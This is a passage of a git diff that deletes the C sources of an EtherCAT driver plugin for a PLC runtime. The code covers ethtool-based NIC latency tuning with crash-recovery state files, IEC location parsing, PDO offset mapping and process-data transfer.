- "tx-usecs", tx_str, - NULL - }; - if (ecat_run_argv("ethtool", argv, NULL, 0) == 0) { - plugin_logger_info(logger, - "%s: restored coalescing (rx-usecs=%d, tx-usecs=%d)", - s->iface, s->rx_usecs, s->tx_usecs); - } - } - - if (s->offloads_saved) { - char *argv[] = { - "ethtool", "-K", (char *)s->iface, - "gro", s->gro ? "on" : "off", - "gso", s->gso ? "on" : "off", - "tso", s->tso ? "on" : "off", - NULL - }; - if (ecat_run_argv("ethtool", argv, NULL, 0) == 0) { - plugin_logger_info(logger, - "%s: restored offloads (gro=%s, gso=%s, tso=%s)", - s->iface, - s->gro ? "on" : "off", - s->gso ? "on" : "off", - s->tso ? "on" : "off"); - } - } -} - -/* ------------------------------------------------------------------ */ -/* Persistence */ -/* ------------------------------------------------------------------ */ - -static void state_path(const char *iface, char *buf, size_t size) -{ - snprintf(buf, size, ECAT_IFACE_STATE_FMT, iface); -} - -static void persist_state(const ecat_iface_state_t *s, plugin_logger_t *logger) -{ - if (mkdir(ECAT_IFACE_STATE_DIR, 0755) != 0 && errno != EEXIST) { - plugin_logger_warn(logger, - "Cannot create %s: %s - iface state will not survive a crash", - ECAT_IFACE_STATE_DIR, strerror(errno)); - return; - } - - char path[160]; - state_path(s->iface, path, sizeof(path)); - - char tmp[176]; - snprintf(tmp, sizeof(tmp), "%s.tmp", path); - - FILE *fp = fopen(tmp, "w"); - if (!fp) { - plugin_logger_warn(logger, - "Cannot write %s: %s - iface state will not survive a crash", - tmp, strerror(errno)); - return; - } - - fprintf(fp, "iface=%s\n", s->iface); - if (s->coalescing_saved) { - fprintf(fp, "rx_usecs=%d\n", s->rx_usecs); - fprintf(fp, "tx_usecs=%d\n", s->tx_usecs); - } - if (s->offloads_saved) { - fprintf(fp, "gro=%s\n", s->gro ? "on" : "off"); - fprintf(fp, "gso=%s\n", s->gso ? "on" : "off"); - fprintf(fp, "tso=%s\n", s->tso ? "on" : "off"); - } - fflush(fp); - fclose(fp); - - if (rename(tmp, path) != 0) { - plugin_logger_warn(logger, "Cannot rename %s -> %s: %s", - tmp, path, strerror(errno)); - unlink(tmp); - } -} - -static void remove_state_file(const char *iface) -{ - char path[160]; - state_path(iface, path, sizeof(path)); - unlink(path); -} - -/* - * Read /run/runtime/ecat_iface_.state into @p s. Returns true if - * a valid file was parsed. - */ -static bool load_state(const char *iface, ecat_iface_state_t *s) -{ - char path[160]; - state_path(iface, path, sizeof(path)); - FILE *fp = fopen(path, "r"); - if (!fp) - return false; - - memset(s, 0, sizeof(*s)); - strncpy(s->iface, iface, sizeof(s->iface) - 1); - s->iface[sizeof(s->iface) - 1] = '\0'; - - char line[128]; - while (fgets(line, sizeof(line), fp)) { - size_t len = strlen(line); - if (len > 0 && line[len - 1] == '\n') - line[len - 1] = '\0'; - char *eq = strchr(line, '='); - if (!eq) - continue; - *eq = '\0'; - const char *key = line; - const char *val = eq + 1; - if (strcmp(key, "rx_usecs") == 0) { - s->rx_usecs = atoi(val); - s->coalescing_saved = true; - } else if (strcmp(key, "tx_usecs") == 0) { - s->tx_usecs = atoi(val); - s->coalescing_saved = true; - } else if (strcmp(key, "gro") == 0) { - s->gro = (strcmp(val, "on") == 0); - s->offloads_saved = true; - } else if (strcmp(key, "gso") == 0) { - s->gso = (strcmp(val, "on") == 0); - s->offloads_saved = true; - } else if (strcmp(key, "tso") == 0) { - s->tso = (strcmp(val, "on") == 0); - s->offloads_saved = true; - } - } - fclose(fp); - return true; -} - -/* ------------------------------------------------------------------ */ -/* Crash recovery from the unified state file */ -/* ------------------------------------------------------------------ */ - -static void recover_from_crash(const char *iface, plugin_logger_t *logger) -{ - ecat_iface_state_t prev; - if (!load_state(iface, &prev)) - return; - - plugin_logger_warn(logger, - "Found stale iface state for %s " - "(coalescing_saved=%d, offloads_saved=%d) - " - "previous process likely crashed. Reverting before re-applying.", - iface, - (int)prev.coalescing_saved, (int)prev.offloads_saved); - - restore_nic_settings(&prev, logger); - remove_state_file(iface); -} - -/* ------------------------------------------------------------------ */ -/* Public API (Linux) */ -/* ------------------------------------------------------------------ */ - -void ecat_iface_state_apply(ecat_iface_state_t *state, const char *iface, - plugin_logger_t *logger) -{ - if (!state || !iface || iface[0] == '\0') - return; - - memset(state, 0, sizeof(*state)); - - if (!ecat_iface_validate(iface, ECAT_IFACE_LINUX_STRICT)) { - plugin_logger_warn(logger, - "iface '%s' not a valid Linux interface name -- " - "NIC tuning (ethtool) is disabled for this master. " - "Jitter may be higher.", - iface); - return; - } - - strncpy(state->iface, iface, sizeof(state->iface) - 1); - state->iface[sizeof(state->iface) - 1] = '\0'; - - /* Recover from a crash of the current-format file */ - recover_from_crash(iface, logger); - - /* Capture the live NIC settings before we change them */ - capture_nic_settings(state, logger); - - /* Apply low-latency NIC tuning */ - apply_low_latency_nic(iface, logger); - - /* Persist whatever we captured/applied so a crash can roll it back */ - persist_state(state, logger); -} - -void ecat_iface_state_revert(ecat_iface_state_t *state, plugin_logger_t *logger) -{ - if (!state || state->iface[0] == '\0') - return; - - /* Only undo what we applied, in reverse order */ - restore_nic_settings(state, logger); - state->coalescing_saved = false; - state->offloads_saved = false; - - remove_state_file(state->iface); -} - -#else /* MSYS2 / Cygwin / native Windows */ - -void ecat_iface_state_apply(ecat_iface_state_t *state, const char *iface, - plugin_logger_t *logger) -{ - (void)state; - (void)iface; - (void)logger; -} - -void ecat_iface_state_revert(ecat_iface_state_t *state, plugin_logger_t *logger) -{ - (void)state; - (void)logger; -} - -#endif diff --git a/core/src/drivers/plugins/native/ethercat/ethercat_iface_state.h b/core/src/drivers/plugins/native/ethercat/ethercat_iface_state.h deleted file mode 100644 index 9d877d82..00000000 --- a/core/src/drivers/plugins/native/ethercat/ethercat_iface_state.h +++ /dev/null @@ -1,62 +0,0 @@ -// SPDX-License-Identifier: MIT -// Copyright (c) 2026 Autonomy® - -/** - * @file ethercat_iface_state.h - * @brief Per-interface NIC-tuning state manager for the EtherCAT plugin. - * - * Saves the NIC's pre-EtherCAT settings (ethtool -c / -k coalescing - * and offloads), applies the low-latency tuning the bus thread needs - * (rx/tx-usecs=0, GRO/GSO/TSO off), and persists the captured "before" - * values to /run/runtime so a crashed runtime's next start can revert - * the system to its original state. - * - * Persistence file: /run/runtime/ecat_iface_.state - */ - -#ifndef ETHERCAT_IFACE_STATE_H -#define ETHERCAT_IFACE_STATE_H - -#include "ethercat_config.h" /* ecat_iface_state_t */ -#include "plugin_logger.h" - -#ifdef __cplusplus -extern "C" { -#endif - -/** - * @brief Apply low-latency NIC tuning. - * - * Sequence: - * 1. Migrate the legacy NIC state file (older format) and revert - * anything it describes. - * 2. Recover from the unified state file if a previous run crashed. - * 3. Capture current NIC settings (ethtool -c / -k). - * 4. Apply low-latency settings (rx/tx-usecs = 0, GRO/GSO/TSO off). - * 5. Persist the captured "before" values to /run/runtime so a crash - * lets the next start undo what we just applied. - * - * On non-Linux platforms this is a no-op. - * - * @param state Per-instance state (zeroed by caller; populated here). - * @param iface Interface name from the master config. - * @param logger Plugin logger. - */ -void ecat_iface_state_apply(ecat_iface_state_t *state, const char *iface, - plugin_logger_t *logger); - -/** - * @brief Revert exactly what apply applied. - * - * Reads the in-memory flags (no disk involvement) to undo only the - * changes that this instance made, then deletes the persistence file. - * Safe to call when nothing was applied (no-op). Safe to call after a - * partially-failed apply (skips fields that were never set). - */ -void ecat_iface_state_revert(ecat_iface_state_t *state, plugin_logger_t *logger); - -#ifdef __cplusplus -} -#endif - -#endif /* ETHERCAT_IFACE_STATE_H */ diff --git a/core/src/drivers/plugins/native/ethercat/ethercat_io.c b/core/src/drivers/plugins/native/ethercat/ethercat_io.c deleted file mode 100644 index 88b16135..00000000 --- a/core/src/drivers/plugins/native/ethercat/ethercat_io.c +++ /dev/null @@ -1,644 +0,0 @@ -// SPDX-License-Identifier: MIT -// Copyright (c) 2026 Autonomy® - -/** - * @file ethercat_io.c - * @brief EtherCAT I/O Module — IEC location parsing, channel mapping, and process data exchange - * - * Implements the bridge between the SOEM IOmap buffer and the OpenPLC - * runtime I/O buffers (bool_input/output, byte_input/output, etc.). - * - * Flow: - * 1. At startup, ecat_io_build_channel_map() walks every configured channel, - * resolves its IOmap pointer via PDO walking, parses its IEC location, - * and stores a compact mapping entry. - * 2. Still at startup, ecat_io_build_transfer_list() pre-resolves each map - * entry into a {plc_ptr, iomap_offset, byte_count} triple. - * 3. Each PLC scan cycle (hot path): - * - cycle_start_single() calls ecat_io_write_outputs_fast() to push - * PLC outputs into the IOmap, then ecat_io_read_inputs_fast() to - * pull fresh inputs back. Both operate on the pre-resolved transfer - * list — no PDO walking, no NULL checks. - */ - -#include "ethercat_io.h" -#include "ethercat_master.h" - -#include -#include -#include -#include - -/* - * ============================================================================= - * Inline helpers — bit-level IOmap access - * ============================================================================= - */ - -static inline uint8_t iomap_read_bit(const uint8_t *ptr, int bit) -{ - return (*ptr >> bit) & 0x01; -} - -static inline void iomap_write_bit(uint8_t *ptr, int bit, uint8_t val) -{ - if (val) - *ptr |= (uint8_t)(1 << bit); - else - *ptr &= (uint8_t)~(1 << bit); -} - -/* - * ============================================================================= - * IEC Location Parser - * ============================================================================= - */ - -int ecat_io_parse_iec_location(const char *loc_str, iec_location_t *loc) -{ - if (!loc_str || !loc) - return -1; - - const char *p = loc_str; - - /* Expect leading '%' */ - if (*p != '%') - return -1; - p++; - - /* Direction: I or Q */ - switch (toupper((unsigned char)*p)) { - case 'I': loc->direction = IEC_DIR_INPUT; break; - case 'Q': loc->direction = IEC_DIR_OUTPUT; break; - default: return -1; - } - p++; - - /* Size qualifier: X, B, W, D, L */ - switch (toupper((unsigned char)*p)) { - case 'X': loc->size = IEC_SIZE_BIT; break; - case 'B': loc->size = IEC_SIZE_BYTE; break; - case 'W': loc->size = IEC_SIZE_WORD; break; - case 'D': loc->size = IEC_SIZE_DWORD; break; - case 'L': loc->size = IEC_SIZE_LWORD; break; - default: return -1; - } - p++; - - /* Byte index (decimal) */ - if (!isdigit((unsigned char)*p)) - return -1; - - char *endptr = NULL; - long byte_val = strtol(p, &endptr, 10); - if (endptr == p || byte_val < 0) - return -1; - loc->byte_index = (int)byte_val; - p = endptr; - - /* Optional bit index — only valid for X (bit) size */ - loc->bit_index = -1; - if (*p == '.') { - p++; - if (!isdigit((unsigned char)*p)) - return -1; - long bit_val = strtol(p, &endptr, 10); - if (endptr == p || bit_val < 0 || bit_val > 7) - return -1; - if (loc->size != IEC_SIZE_BIT) - return -1; /* bit index only meaningful for X size */ - loc->bit_index = (int)bit_val; - p = endptr; - } else if (loc->size == IEC_SIZE_BIT) { - /* X size without explicit bit → default to bit 0 */ - loc->bit_index = 0; - } - - /* Must be at end of string */ - if (*p != '\0') - return -1; - - return 0; -} - -/* - * ============================================================================= - * IOmap Offset Calculation (static) - * ============================================================================= - */ - -/** - * @brief Walk PDO entries to find the IOmap offset and bit offset for a channel - * - * For a given channel (identified by pdo_index + pdo_entry_index + pdo_entry_subindex), - * accumulates bit lengths through the PDO list until the target entry is found. - * Returns an offset relative to the IOmap base rather than an absolute pointer, - * allowing the same map to work with both the real IOmap and a shadow buffer. - * - * @param soem_slave Live SOEM slave descriptor (provides outputs/inputs base pointer) - * @param iomap_base Base address of the IOmap buffer (for offset calculation) - * @param cfg_slave Configured slave (provides PDO lists from JSON) - * @param channel Channel to locate - * @param is_output true if channel is an output (RxPDO), false for input (TxPDO) - * @param out_offset [out] byte offset from iomap_base - * @param out_bit [out] bit offset within the byte (0-7) - * @param out_data_type [out] parsed data type from the matching PDO entry (may be NULL) - * @return 0 on success, -1 if channel's PDO entry was not found - */ -static int calculate_iomap_offset(const ec_slavet *soem_slave, - const uint8_t *iomap_base, - const ecat_slave_t *cfg_slave, - const ecat_channel_t *channel, - bool is_output, - size_t *out_offset, - int *out_bit, - ecat_data_type_t *out_data_type) -{ - /* Select PDO direction: - * Output channels -> RxPDOs (master writes to slave) -> soem_slave->outputs - * Input channels -> TxPDOs (slave sends to master) -> soem_slave->inputs - */ - const ecat_pdo_t *pdos; - int pdo_count; - uint8_t *base_ptr; - int start_bit; - - if (is_output) { - pdos = cfg_slave->rx_pdos; - pdo_count = cfg_slave->rx_pdo_count; - base_ptr = soem_slave->outputs; - start_bit = soem_slave->Ostartbit; - } else { - pdos = cfg_slave->tx_pdos; - pdo_count = cfg_slave->tx_pdo_count; - base_ptr = soem_slave->inputs; - start_bit = soem_slave->Istartbit; - } - - if (!base_ptr) - return -1; - - /* Calculate byte offset of slave's data area relative to IOmap base */ - size_t slave_base_offset = (size_t)(base_ptr - iomap_base); - - int accumulated_bits = start_bit; - - for (int p = 0; p < pdo_count; p++) { - const ecat_pdo_t *pdo = &pdos[p]; - for (int e = 0; e < pdo->entry_count; e++) { - const ecat_pdo_entry_t *entry = &pdo->entries[e]; - - /* Check if this is the target entry */ - if (strcmp(pdo->index, channel->pdo_index) == 0 && - strcmp(entry->index, channel->pdo_entry_index) == 0 && - entry->subindex == channel->pdo_entry_subindex) { - *out_offset = slave_base_offset + (accumulated_bits / 8); - *out_bit = accumulated_bits % 8; - if (out_data_type) - *out_data_type = entry->parsed_type; - return 0; - } - - accumulated_bits += entry->bit_length; - } - } - - return -1; /* entry not found */ -} - -/* - * ============================================================================= - * Data Type Validation Helpers - * ============================================================================= - */ - -/** - * @brief Return the expected IEC size qualifier for a given data type - * - * Used to validate that the IEC location width matches the PDO data type. - * Returns -1 for types where no specific size is expected (PAD, UNKNOWN). - */ -static int ecat_data_type_expected_iec_size(ecat_data_type_t dt) -{ - switch (dt) { - case ECAT_DTYPE_BOOL: return (int)IEC_SIZE_BIT; - case ECAT_DTYPE_INT8: case ECAT_DTYPE_UINT8: return (int)IEC_SIZE_BYTE; - case ECAT_DTYPE_INT16: case ECAT_DTYPE_UINT16:return (int)IEC_SIZE_WORD; - case ECAT_DTYPE_INT32: case ECAT_DTYPE_UINT32: - case ECAT_DTYPE_REAL32: return (int)IEC_SIZE_DWORD; - case ECAT_DTYPE_INT64: case ECAT_DTYPE_UINT64: - case ECAT_DTYPE_REAL64: return (int)IEC_SIZE_LWORD; - case ECAT_DTYPE_UNKNOWN: - case ECAT_DTYPE_PAD: return -1; - } - return -1; -} - -/** - * @brief Return a human-readable name for an iec_size_t value - */ -static const char *iec_size_name(iec_size_t sz) -{ - switch (sz) { - case IEC_SIZE_BIT: return "BIT (X)"; - case IEC_SIZE_BYTE: return "BYTE (B)"; - case IEC_SIZE_WORD: return "WORD (W)"; - case IEC_SIZE_DWORD: return "DWORD (D)"; - case IEC_SIZE_LWORD: return "LWORD (L)"; - } - return "?"; -} - -/* - * ============================================================================= - * Channel Map Builder - * ============================================================================= - */ - -int ecat_io_build_channel_map(const ecat_config_t *config, - ecat_channel_map_t *map, - ecat_master_instance_t *inst, - plugin_runtime_args_t *args, - plugin_logger_t *logger) -{ - memset(map, 0, sizeof(*map)); - - /* Get IOmap base for offset calculation */ - uint8_t *iomap_base = ecat_master_get_iomap(inst); - if (!iomap_base) { - plugin_logger_error(logger, "IOmap base pointer is NULL"); - return -1; - } - - int errors = 0; - int mapped = 0; - - for (int s = 0; s < config->slave_count; s++) { - const ecat_slave_t *cfg_slave = &config->slaves[s]; - int pos = cfg_slave->position; - - /* Get live SOEM slave descriptor */ - const ec_slavet *soem_slave = ecat_master_get_slave(inst, pos); - if (!soem_slave) { - plugin_logger_warn(logger, - "Slave '%s' position %d: not found in SOEM context, skipping channels", - cfg_slave->name, pos); - errors++; - continue; - } - - for (int c = 0; c < cfg_slave->channel_count; c++) { - const ecat_channel_t *ch = &cfg_slave->channels[c]; - - /* Skip channels without IEC location */ - if (ch->iec_location[0] == '\0') - continue; - - /* Parse IEC location */ - iec_location_t iec_loc; - if (ecat_io_parse_iec_location(ch->iec_location, &iec_loc) != 0) { - plugin_logger_warn(logger, - "Slave '%s' channel '%s': invalid IEC location '%s', skipping", - cfg_slave->name, ch->name, ch->iec_location); - errors++; - continue; - } - - /* Bounds check against PLC buffer size */ - if (iec_loc.byte_index >= args->buffer_size) { - plugin_logger_warn(logger, - "Slave '%s' channel '%s': IEC location '%s' byte index %d " - "exceeds buffer size %d, skipping", - cfg_slave->name, ch->name, ch->iec_location, - iec_loc.byte_index, args->buffer_size); - errors++; - continue; - } - - /* Determine channel direction from type string */ - bool is_output = (strstr(ch->type, "output") != NULL); - - /* Calculate IOmap offset by walking PDO entries */ - size_t iomap_offset = 0; - int iomap_bit = 0; - ecat_data_type_t pdo_data_type = ECAT_DTYPE_UNKNOWN; - if (calculate_iomap_offset(soem_slave, iomap_base, cfg_slave, ch, - is_output, &iomap_offset, &iomap_bit, - &pdo_data_type) != 0) { - plugin_logger_warn(logger, - "Slave '%s' channel '%s': PDO entry not found " - "(pdo=%s entry=%s sub=%d), skipping", - cfg_slave->name, ch->name, - ch->pdo_index, ch->pdo_entry_index, ch->pdo_entry_subindex); - errors++; - continue; - } - - /* Validate: data type size must match IEC location size qualifier */ - int expected_size = ecat_data_type_expected_iec_size(pdo_data_type); - if (expected_size >= 0 && expected_size != (int)iec_loc.size) { - plugin_logger_warn(logger, - "Slave '%s' channel '%s': data type %s expects IEC size %s " - "but location '%s' uses %s -- data may be truncated or corrupt", - cfg_slave->name, ch->name, - ecat_data_type_to_string(pdo_data_type), - iec_size_name((iec_size_t)expected_size), - ch->iec_location, iec_size_name(iec_loc.size)); - } - - /* Build the map entry */ - ecat_channel_map_entry_t entry; - entry.iomap_offset = iomap_offset; - entry.iomap_bit_offset = iomap_bit; - entry.bit_length = ch->bit_length; - entry.size = iec_loc.size; - entry.byte_index = iec_loc.byte_index; - entry.bit_index = iec_loc.bit_index; - entry.data_type = pdo_data_type; - - /* Add to the appropriate direction array */ - if (iec_loc.direction == IEC_DIR_INPUT) { - if (map->input_count < ECAT_MAX_MAP_ENTRIES) { - map->inputs[map->input_count++] = entry; - mapped++; - } else { - plugin_logger_warn(logger, "Input channel map full (%d entries)", - ECAT_MAX_MAP_ENTRIES); - errors++; - } - } else { - if (map->output_count < ECAT_MAX_MAP_ENTRIES) { - map->outputs[map->output_count++] = entry; - mapped++; - } else { - plugin_logger_warn(logger, "Output channel map full (%d entries)", - ECAT_MAX_MAP_ENTRIES); - errors++; - } - } - - plugin_logger_debug(logger, - " Mapped: slave '%s' ch '%s' [%s] (%s) -> %s byte=%d bit=%d offset=%zu", - cfg_slave->name, ch->name, - ecat_data_type_to_string(pdo_data_type), ch->iec_location, - (iec_loc.direction == IEC_DIR_INPUT) ? "INPUT" : "OUTPUT", - iec_loc.byte_index, iec_loc.bit_index, iomap_offset); - - if (pdo_data_type == ECAT_DTYPE_REAL32 || - pdo_data_type == ECAT_DTYPE_REAL64) { - const char *iec_type = - (pdo_data_type == ECAT_DTYPE_REAL32) ? "REAL" : "LREAL"; - plugin_logger_info(logger, - "Slave '%s' channel '%s': PDO type is %s mapped to %s. " - "Declare the PLC variable as %s so the IEEE 754 bit " - "pattern is interpreted correctly", - cfg_slave->name, ch->name, - ecat_data_type_to_string(pdo_data_type), ch->iec_location, - iec_type); - } - } - } - - plugin_logger_info(logger, - "Channel map built: %d inputs, %d outputs (%d errors)", - map->input_count, map->output_count, errors); - - /* Reject partial maps: a typo or ESI mismatch that drops half the - * channels would leave the PLC running with stale variables and no - * indication of why. Fail-fast forces the operator to fix the JSON. */ - if (errors > 0) { - plugin_logger_error(logger, - "channel map rejected: %d entry/entries failed to map", errors); - return -1; - } - if (mapped == 0) - return -1; - return 0; -} - -/* - * ============================================================================= - * Transfer List Builder and Fast I/O Functions - * ============================================================================= - */ - -/** - * @brief Resolve one channel map entry into a PLC variable pointer - * - * Returns the direct pointer to the PLC variable (e.g. &__IW3) for the - * given channel direction and IEC size, or NULL if the slot is unmapped. - */ -static void *resolve_plc_ptr(const ecat_channel_map_entry_t *e, - iec_dir_t direction, - plugin_runtime_args_t *args) -{ - if (direction == IEC_DIR_INPUT) { - switch (e->size) { - case IEC_SIZE_BIT: - if (args->bool_input && - args->bool_input[e->byte_index] && - args->bool_input[e->byte_index][e->bit_index]) - return args->bool_input[e->byte_index][e->bit_index]; - break; - case IEC_SIZE_BYTE: - if (args->byte_input && args->byte_input[e->byte_index]) - return args->byte_input[e->byte_index]; - break; - case IEC_SIZE_WORD: - if (args->int_input && args->int_input[e->byte_index]) - return args->int_input[e->byte_index]; - break; - case IEC_SIZE_DWORD: - if (args->dint_input && args->dint_input[e->byte_index]) - return args->dint_input[e->byte_index]; - break; - case IEC_SIZE_LWORD: - if (args->lint_input && args->lint_input[e->byte_index]) - return args->lint_input[e->byte_index]; - break; - } - } else { - switch (e->size) { - case IEC_SIZE_BIT: - if (args->bool_output && - args->bool_output[e->byte_index] && - args->bool_output[e->byte_index][e->bit_index]) - return args->bool_output[e->byte_index][e->bit_index]; - break; - case IEC_SIZE_BYTE: - if (args->byte_output && args->byte_output[e->byte_index]) - return args->byte_output[e->byte_index]; - break; - case IEC_SIZE_WORD: - if (args->int_output && args->int_output[e->byte_index]) - return args->int_output[e->byte_index]; - break; - case IEC_SIZE_DWORD: - if (args->dint_output && args->dint_output[e->byte_index]) - return args->dint_output[e->byte_index]; - break; - case IEC_SIZE_LWORD: - if (args->lint_output && args->lint_output[e->byte_index]) - return args->lint_output[e->byte_index]; - break; - } - } - return NULL; -} - -/** Map IEC size qualifier to byte count */ -static uint8_t iec_size_to_bytes(iec_size_t sz) -{ - switch (sz) { - case IEC_SIZE_BIT: return 1; - case IEC_SIZE_BYTE: return 1; - case IEC_SIZE_WORD: return 2; - case IEC_SIZE_DWORD: return 4; - case IEC_SIZE_LWORD: return 8; - } - return 0; -} - -int ecat_io_build_transfer_list(const ecat_channel_map_t *map, - ecat_transfer_list_t *xfer, - plugin_runtime_args_t *args, - plugin_logger_t *logger) -{ - memset(xfer, 0, sizeof(*xfer)); - - /* EtherCAT input data is published into the %I image through the journal - * (lock-free, race-free against the IEC tasks). Refuse to build the list - * if the runtime did not supply the journal writers and we have input - * channels to map. */ - if (map->input_count > 0 && - (!args->journal_write_bool || !args->journal_write_byte || - !args->journal_write_int || !args->journal_write_dint || - !args->journal_write_lint)) { - plugin_logger_error(logger, - "Journal write entry points unavailable; cannot map %d EtherCAT input channel(s)", - map->input_count); - return -1; - } - - int resolved = 0; - - /* Resolve input channels */ - for (int i = 0; i < map->input_count; i++) { - const ecat_channel_map_entry_t *e = &map->inputs[i]; - void *plc_ptr = resolve_plc_ptr(e, IEC_DIR_INPUT, args); - if (!plc_ptr) - continue; - - ecat_transfer_entry_t *t = &xfer->inputs[xfer->input_count++]; - t->plc_ptr = plc_ptr; - t->iomap_offset = e->iomap_offset; - t->iomap_bit_offset = e->iomap_bit_offset; - t->byte_count = iec_size_to_bytes(e->size); - t->is_bit = (e->size == IEC_SIZE_BIT); - t->journal_index = e->byte_index; - t->journal_bit = (e->size == IEC_SIZE_BIT) ? e->bit_index : 0; - resolved++; - } - - /* Resolve output channels */ - for (int i = 0; i < map->output_count; i++) { - const ecat_channel_map_entry_t *e = &map->outputs[i]; - void *plc_ptr = resolve_plc_ptr(e, IEC_DIR_OUTPUT, args); - if (!plc_ptr) - continue; - - ecat_transfer_entry_t *t = &xfer->outputs[xfer->output_count++]; - t->plc_ptr = plc_ptr; - t->iomap_offset = e->iomap_offset; - t->iomap_bit_offset = e->iomap_bit_offset; - t->byte_count = iec_size_to_bytes(e->size); - t->is_bit = (e->size == IEC_SIZE_BIT); - resolved++; - } - - plugin_logger_info(logger, - "Transfer list built: %d inputs, %d outputs (%d resolved)", - xfer->input_count, xfer->output_count, resolved); - - /* Channels without a PLC variable bound (NULL plc_ptr) are skipped -- - * legitimate when not every IEC location is mapped to a program - * variable. Surface as warn so the operator can spot mistakes. */ - int total = map->input_count + map->output_count; - if (resolved < total) { - plugin_logger_warn(logger, - "transfer list: %d/%d channels resolved -- %d skipped (no PLC variable bound)", - resolved, total, total - resolved); - } - if (resolved == 0) - return -1; - return 0; -} - -/* Journal buffer-type ids for the INPUT image. Must match - * journal_buffer_type_t in journal_buffer.h (mirrored in plugin_types.h). */ -#define ECAT_JOURNAL_BOOL_INPUT 0 -#define ECAT_JOURNAL_BYTE_INPUT 3 -#define ECAT_JOURNAL_INT_INPUT 5 -#define ECAT_JOURNAL_DINT_INPUT 8 -#define ECAT_JOURNAL_LINT_INPUT 11 - -void ecat_io_read_inputs_fast(const ecat_transfer_list_t *xfer, - const uint8_t *iomap_base, - plugin_runtime_args_t *args) -{ - for (int i = 0; i < xfer->input_count; i++) { - const ecat_transfer_entry_t *e = &xfer->inputs[i]; - const uint8_t *src = iomap_base + e->iomap_offset; - if (e->is_bit) { - int v = iomap_read_bit(src, e->iomap_bit_offset); - args->journal_write_bool(ECAT_JOURNAL_BOOL_INPUT, - e->journal_index, e->journal_bit, v); - continue; - } - /* EtherCAT process data is little-endian; OpenPLC targets are LE, so - * the raw bytes map straight onto the IEC value (same as the previous - * memcpy). */ - switch (e->byte_count) { - case 1: { - uint8_t v; - memcpy(&v, src, 1); - args->journal_write_byte(ECAT_JOURNAL_BYTE_INPUT, e->journal_index, v); - break; - } - case 2: { - uint16_t v; - memcpy(&v, src, 2); - args->journal_write_int(ECAT_JOURNAL_INT_INPUT, e->journal_index, v); - break; - } - case 4: { - uint32_t v; - memcpy(&v, src, 4); - args->journal_write_dint(ECAT_JOURNAL_DINT_INPUT, e->journal_index, v); - break; - } - case 8: { - uint64_t v; - memcpy(&v, src, 8); - args->journal_write_lint(ECAT_JOURNAL_LINT_INPUT, e->journal_index, v); - break; - } - default: - break; - } - } -} - -void ecat_io_write_outputs_fast(const ecat_transfer_list_t *xfer, - uint8_t *iomap_base) -{ - for (int i = 0; i < xfer->output_count; i++) { - const ecat_transfer_entry_t *e = &xfer->outputs[i]; - if (e->is_bit) { - iomap_write_bit(iomap_base + e->iomap_offset, e->iomap_bit_offset, - *(const uint8_t *)e->plc_ptr); - } else { - memcpy(iomap_base + e->iomap_offset, e->plc_ptr, e->byte_count); - } - } -} diff --git a/core/src/drivers/plugins/native/ethercat/ethercat_io.h b/core/src/drivers/plugins/native/ethercat/ethercat_io.h deleted file mode 100644 index ea070212..00000000 --- a/core/src/drivers/plugins/native/ethercat/ethercat_io.h +++ /dev/null @@ -1,116 +0,0 @@ -// SPDX-License-Identifier: MIT -// Copyright (c) 2026 Autonomy® - -/** - * @file ethercat_io.h - * @brief EtherCAT I/O Module — IEC location parsing, channel mapping, and process data exchange - * - * Bridges the SOEM IOmap and the OpenPLC runtime I/O buffers. - * Provides: - * - IEC 61131-3 location string parser (%IX0.0, %QW3, etc.) - * - Channel map builder that links each configured channel to its - * IOmap byte/bit and PLC buffer position - * - Per-cycle read/write helpers called from cycle_start/cycle_end - */ - -#ifndef ETHERCAT_IO_H -#define ETHERCAT_IO_H - -#include -#include "ethercat_config.h" -#include "plugin_types.h" -#include "plugin_logger.h" -#include "soem/soem.h" - -/* - * I/O type definitions (iec_size_t, iec_dir_t, iec_location_t, - * ecat_channel_map_entry_t, ecat_channel_map_t, ecat_transfer_entry_t, - * ecat_transfer_list_t, ECAT_MAX_MAP_ENTRIES) are defined in - * ethercat_config.h so that ecat_master_instance_t can embed them. - */ - -/** - * @brief Parse an IEC 61131-3 location string into its components - * - * Accepted format: %[IQ][XBWDL][.] - * - Direction: I (input) or Q (output) - * - Size: X (bit), B (byte), W (word), D (dword), L (lword) - * - Byte: decimal byte address - * - Bit: optional, only valid for X size, 0-7 - * - * @param loc_str NUL-terminated IEC location string - * @param loc Output parsed location - * @return 0 on success, -1 on parse error - */ -int ecat_io_parse_iec_location(const char *loc_str, iec_location_t *loc); - -/** - * @brief Build the channel map from configuration + live SOEM state - * - * Iterates every slave/channel in @p config, resolves the IOmap pointer - * via SOEM slave data, parses the IEC location, and stores the mapping - * for use in the per-cycle read/write functions. - * - * @param config Parsed EtherCAT configuration - * @param map Output channel map (zeroed before population) - * @param inst Master instance (provides SOEM context and IOmap) - * @param args Runtime args (for buffer_size bounds check) - * @param logger Logger instance - * @return 0 on success, -1 if any channel failed to map (partial maps - * are rejected to surface JSON/ESI mismatches at startup) - */ -int ecat_io_build_channel_map(const ecat_config_t *config, - ecat_channel_map_t *map, - ecat_master_instance_t *inst, - plugin_runtime_args_t *args, - plugin_logger_t *logger); - -/** - * @brief Build a transfer list from a channel map and runtime args - * - * Resolves each channel map entry into a direct {plc_ptr, iomap_offset, - * byte_count} triple. Entries whose PLC pointer is NULL (unmapped IEC - * address) are silently skipped. - * - * Must be called after ecat_io_build_channel_map() and after glueVars() - * has populated the image table pointers. - * - * @param map Channel map built by ecat_io_build_channel_map() - * @param xfer Output transfer list (zeroed before population) - * @param args Runtime args with PLC buffer pointers - * @param logger Logger instance - * @return 0 on success, -1 if zero channels resolved (image table not - * populated yet). Channels without a PLC variable bound are - * skipped with a warn but do not fail the call. - */ -int ecat_io_build_transfer_list(const ecat_channel_map_t *map, - ecat_transfer_list_t *xfer, - plugin_runtime_args_t *args, - plugin_logger_t *logger); - -/** - * @brief Fast per-cycle: publish IOmap inputs into the PLC %I image - * - * Input values are written through the lock-free journal (args->journal_write_*) - * rather than poked directly into the image, so they apply atomically at the - * next scan boundary and never race the IEC task threads. No image lock is - * held here. - * - * @param xfer Transfer list built by ecat_io_build_transfer_list() - * @param iomap_base Base pointer of the IOmap buffer - * @param args Runtime args providing the journal_write_* entry points - */ -void ecat_io_read_inputs_fast(const ecat_transfer_list_t *xfer, - const uint8_t *iomap_base, - plugin_runtime_args_t *args); - -/** - * @brief Fast per-cycle: copy PLC variables into IOmap outputs - * - * @param xfer Transfer list built by ecat_io_build_transfer_list() - * @param iomap_base Base pointer of the IOmap buffer - */ -void ecat_io_write_outputs_fast(const ecat_transfer_list_t 